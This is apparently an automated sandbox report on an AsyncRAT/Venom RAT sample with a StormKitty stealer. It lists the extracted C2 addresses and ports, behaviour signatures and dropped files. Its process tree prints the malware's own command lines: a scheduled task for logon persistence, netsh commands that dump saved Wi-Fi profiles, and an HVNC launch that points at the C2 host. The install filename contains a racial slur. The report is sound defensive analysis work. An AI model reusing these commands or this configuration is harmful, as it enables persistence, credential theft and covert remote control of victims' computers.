Overview

overview

10

Static

static

10

ILIKEMEN.exe

windows7-x64

10

ILIKEMEN.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    1049s
  • max time network
    875s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/05/2024, 02:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ILIKEMEN.exe
  • Size 74KB
  • Sample240503-cxw4nsfa36
  • SHA256 183c4a07c3859758dc971abf3351f0811698fcee4f846822d807fde8bd70021e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratstormkittydefaultcollectiondiscoverypersistenceratspywarestealer

Malware Config

Extracted

Family

  • asyncrat

Version

  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

  • Default

C2

  • 127.0.0.1:4449

  • 127.0.0.1:38630

  • 147.185.221.19:4449

  • 147.185.221.19:38630

Mutex

  • kwdwpnspxuuttrk

Attributes
  • delay

    1

  • install

    true

  • install_file

    sup nigga.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Async RAT payload 1 IoCs
    rat
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 34 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 46 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ILIKEMEN.exe
    "C:\Users\Admin\AppData\Local\Temp\ILIKEMEN.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "sup nigga" /tr '"C:\Users\Admin\AppData\Roaming\sup nigga.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2260
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "sup nigga" /tr '"C:\Users\Admin\AppData\Roaming\sup nigga.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:3840
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5FF2.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1904
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3884
      • C:\Users\Admin\AppData\Roaming\sup nigga.exe
        "C:\Users\Admin\AppData\Roaming\sup nigga.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • Suspicious use of SetThreadContext
        • Checks processor information in registry
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • outlook_office_path
        • outlook_win_path
        PID:5100
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe"
          4⤵
          • Modifies Installed Components in the registry
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:2860
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 127.0.0.1,147.185.221.19 4448 HVNC_MUTEX
          4⤵
            PID:2444
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            4⤵
            • Modifies registry class
            PID:3560
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 127.0.0.1,147.185.221.19 4448 HVNC_MUTEX
            4⤵
              PID:1904
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
              4⤵
                PID:4636
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  5⤵
                    PID:2996
                  • C:\Windows\system32\netsh.exe
                    netsh wlan show profile
                    5⤵
                      PID:2028
                    • C:\Windows\system32\findstr.exe
                      findstr All
                      5⤵
                        PID:4856
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                      4⤵
                        PID:3892
                        • C:\Windows\system32\chcp.com
                          chcp 65001
                          5⤵
                            PID:5068
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show networks mode=bssid
                            5⤵
                              PID:956
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "sup nigga"
                            4⤵
                              PID:4376
                              • C:\Windows\system32\schtasks.exe
                                schtasks /delete /f /tn "sup nigga"
                                5⤵
                                  PID:4076
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAD0B.tmp.bat""
                                4⤵
                                  PID:2736
                                  • C:\Windows\system32\timeout.exe
                                    timeout 3
                                    5⤵
                                    • Delays execution with timeout.exe
                                    PID:4732
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                            1⤵
                            • Enumerates system info in registry
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            • Suspicious use of WriteProcessMemory
                            PID:2296
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x12c,0x130,0x134,0x104,0x138,0x7ffb1d14ab58,0x7ffb1d14ab68,0x7ffb1d14ab78
                              2⤵
                                PID:4824
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1716 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:2
                                2⤵
                                  PID:244
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                  2⤵
                                    PID:4712
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2228 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                    2⤵
                                      PID:4348
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3076 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                      2⤵
                                        PID:2076
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3084 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                        2⤵
                                          PID:5048
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4376 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                          2⤵
                                            PID:1580
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4512 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                            2⤵
                                              PID:2568
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4664 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                              2⤵
                                                PID:4256
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4568 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                                2⤵
                                                  PID:2096
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4580 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                                  2⤵
                                                    PID:536
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4752 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                                    2⤵
                                                      PID:4988
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4824 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                                      2⤵
                                                        PID:4260
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3412 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                                        2⤵
                                                          PID:1672
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4636 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                                          2⤵
                                                            PID:5116
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2772 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                                            2⤵
                                                              PID:2736
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4264 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:8
                                                              2⤵
                                                                PID:4420
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=1692 --field-trial-handle=1808,i,10021952606639457563,2667324344244956508,131072 /prefetch:1
                                                                2⤵
                                                                  PID:4376
                                                              • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                                                                "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                                                                1⤵
                                                                  PID:216
                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                  1⤵
                                                                  • Modifies registry class
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:1260
                                                                • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                  "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                  1⤵
                                                                  • Modifies Internet Explorer settings
                                                                  • Modifies registry class
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:2304

                                                                Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      Process.txt
                                                                      • Path C:\Users\Admin\AppData\Local\63d6df59fe784065661dd626b8042026\Admin@YCLEXTAL_en-US\System\Process.txt
                                                                      • Size 873B
                                                                      • SHA256 de753d5a680b7acc6fa7b4d669ea71ede1a35a4434125a7ec37987c5ab901380
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      Process.txt
                                                                      • Path C:\Users\Admin\AppData\Local\63d6df59fe784065661dd626b8042026\Admin@YCLEXTAL_en-US\System\Process.txt
                                                                      • Size 1KB
                                                                      • SHA256 dc734caaef33ba8b72ffbc34eb5eeac1aaf4b4e621a752aadc877cd77d963f23
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      Process.txt
                                                                      • Path C:\Users\Admin\AppData\Local\63d6df59fe784065661dd626b8042026\Admin@YCLEXTAL_en-US\System\Process.txt
                                                                      • Size 4KB
                                                                      • SHA256 e3c760fca12ec54f34fa86b45184bc430a25a6b1f3bdba2978f0c724cb89b9a2
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      msgid.dat
                                                                      • Path C:\Users\Admin\AppData\Local\63d6df59fe784065661dd626b8042026\msgid.dat
                                                                      • Size 1B
                                                                      • SHA256 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      9c2be6c7-8563-4014-9025-8a7f1cbf56fd.tmp
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\9c2be6c7-8563-4014-9025-8a7f1cbf56fd.tmp
                                                                      • Size 6KB
                                                                      • SHA256 a5f14cb24334ca228cc8849a27ca5864336e290e282acd4ccb3b2509493f704e
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      f_000007
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000007
                                                                      • Size 199KB
                                                                      • SHA256 be1533fef5bd0b050c87d60b788997b2c398f61108fcd1298780efa65a9a0bcd
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      f_000008
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008
                                                                      • Size 24KB
                                                                      • SHA256 d0b96d69ee7f70f041f493592de3805bfb338e50babdee522fcf145cb98fc968
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      the-real-index
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                      • Size 288B
                                                                      • SHA256 d00fb8bae3f0b1898d06523d2795f8e732e1eaa916b6db5542e436e02815bdeb
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      History
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
                                                                      • Size 152KB
                                                                      • SHA256 cc10ddd8efadd4b98c6168fd3465cdf014c52ac50c70f3408d4892cfbdf5467d
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Cookies
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                                                                      • Size 20KB
                                                                      • SHA256 c9e650c807668f6603e00337a334fa9e906f96c032ccdab3251feb3680e31f22
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Network Persistent State
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                      • Size 2KB
                                                                      • SHA256 78fbe611e0940585b4cdc32414ec5a3303f1730c9bf1fb93e97c01604e64a48c
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      SCT Auditing Pending Reports
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                      • Size 2B
                                                                      • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      TransportSecurity
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                      • Size 522B
                                                                      • SHA256 d7339b5941df88142d92400b1ec34c3cfd9ada090798621c6dc4b9df700f6bed
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      TransportSecurity
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                      • Size 354B
                                                                      • SHA256 59d5854201c0a67b68b38f7157b2907e2f63b7907f5ee50ad4aa3f3a6beb11bf
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      TransportSecurity
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                      • Size 354B
                                                                      • SHA256 2b6c5e0a08659c8b494651573d4a16a41b425e25db428be09e81660e987472bd
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      TransportSecurity
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                      • Size 522B
                                                                      • SHA256 8860873bd14b832392df87b92b1d934340318d67ac24a96ceb9474487259687b
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      Preferences
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                      • Size 7KB
                                                                      • SHA256 0cd4facf23ede7be563da3802f44b576cdd39411e59089c4a9faf90caa5dde39
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Preferences
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                      • Size 7KB
                                                                      • SHA256 b41e826ced31b75c6501681c9ed83d4293d7ff195909e9ca8d268d3fb076b393
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Preferences
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                      • Size 7KB
                                                                      • SHA256 8c5f6e786864bdbc4e534678855fc7da28e7539ef47d47e05b24e77f80d8b945
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Secure Preferences
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                      • Size 16KB
                                                                      • SHA256 74e312fb3ea6a587a350b142715f92f7f59f77b21164a98c4c442fccb1e7f7f1
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Web Data
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                      • Size 100KB
                                                                      • SHA256 3a52f6e6e7333cff796690718b823b222c6414dc47829f4e1b9e22f36a1d70fd
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Local State
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                      • Size 255KB
                                                                      • SHA256 995023f9f795074da42b6cc9d1ebe3049252d590085809ef84c079e33ec241f5
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Local State
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                      • Size 255KB
                                                                      • SHA256 0330e21e4bc18bbd05ea95d84c7ce3c2866a50ec342a89ea4e266e918a0c22a5
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      Local State
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                      • Size 255KB
                                                                      • SHA256 c082744ac2fc6f72fac89650fe797d9149e3704e3d58fa2f97b5124ccefcf301
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      data_1
                                                                      • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
                                                                      • Size 264KB
                                                                      • SHA256 d37270fe8d744fbc29462ab6f8d67c29f1d7a07124aa74f98beabe6f78344848
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      AppCache133591771778111276.txt
                                                                      • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133591771778111276.txt
                                                                      • Size 75KB
                                                                      • SHA256 0792b6ce23ecab01dcc88e8fe286355f09b4fcc4708797a42574181a44ce1356
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      tmp5FF2.tmp.bat
                                                                      • Path C:\Users\Admin\AppData\Local\Temp\tmp5FF2.tmp.bat
                                                                      • Size 153B
                                                                      • SHA256 4e4736c919489c48679de9f30537042fcc3c29b3fca228fd36c831493a1f5e8e
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      tmpAD0B.tmp.bat
                                                                      • Path C:\Users\Admin\AppData\Local\Temp\tmpAD0B.tmp.bat
                                                                      • Size 158B
                                                                      • SHA256 dbb131e61f41432ae93b362edf989dc05542958d32537e59b8a0059834e585ef
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      DataLogs.conf
                                                                      • Path C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf
                                                                      • Size 8B
                                                                      • SHA256 c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
                                                                      • MD5 SHA1 SHA512
                                                                      Submit Download

                                                                      sup nigga.exe
                                                                      • Path C:\Users\Admin\AppData\Roaming\sup nigga.exe
                                                                      • Size 74KB
                                                                      • SHA256 183c4a07c3859758dc971abf3351f0811698fcee4f846822d807fde8bd70021e
                                                                      • MD5 SHA1 SHA512 SSDEEP
                                                                      Submit Download

                                                                      memory/2304-360-0x000001E35F9B0000-0x000001E35F9D0000-memory.dmp
                                                                      Download

                                                                      memory/2304-373-0x000001E35FFC0000-0x000001E35FFE0000-memory.dmp
                                                                      Download

                                                                      memory/2304-352-0x000001E35FC00000-0x000001E35FC20000-memory.dmp
                                                                      Download

                                                                      memory/2444-344-0x0000000005BB0000-0x0000000006154000-memory.dmp
                                                                      Download

                                                                      memory/2444-343-0x00000000051E0000-0x000000000527C000-memory.dmp
                                                                      Download

                                                                      memory/2444-342-0x0000000005140000-0x00000000051D2000-memory.dmp
                                                                      Download

                                                                      memory/2444-341-0x0000000000400000-0x0000000000410000-memory.dmp
                                                                      Download

                                                                      memory/2860-495-0x0000000009660000-0x0000000009809000-memory.dmp
                                                                      Download

                                                                      memory/2860-346-0x0000000002D60000-0x0000000002D61000-memory.dmp
                                                                      Download

                                                                      memory/4116-1-0x00000000009D0000-0x00000000009E8000-memory.dmp
                                                                      Download

                                                                      memory/4116-3-0x00007FFB22C00000-0x00007FFB236C1000-memory.dmp
                                                                      Download

                                                                      memory/4116-8-0x00007FFB22C00000-0x00007FFB236C1000-memory.dmp
                                                                      Download

                                                                      memory/4116-0-0x00007FFB22C03000-0x00007FFB22C05000-memory.dmp
                                                                      Download

                                                                      memory/5100-20-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-93-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-29-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-28-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-27-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-336-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-337-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-338-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-339-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-340-0x0000000000DD0000-0x0000000000DF0000-memory.dmp
                                                                      Download

                                                                      memory/5100-26-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-25-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-24-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-23-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-68-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-22-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-21-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

                                                                      memory/5100-178-0x000000001DF90000-0x000000001E139000-memory.dmp
                                                                      Download

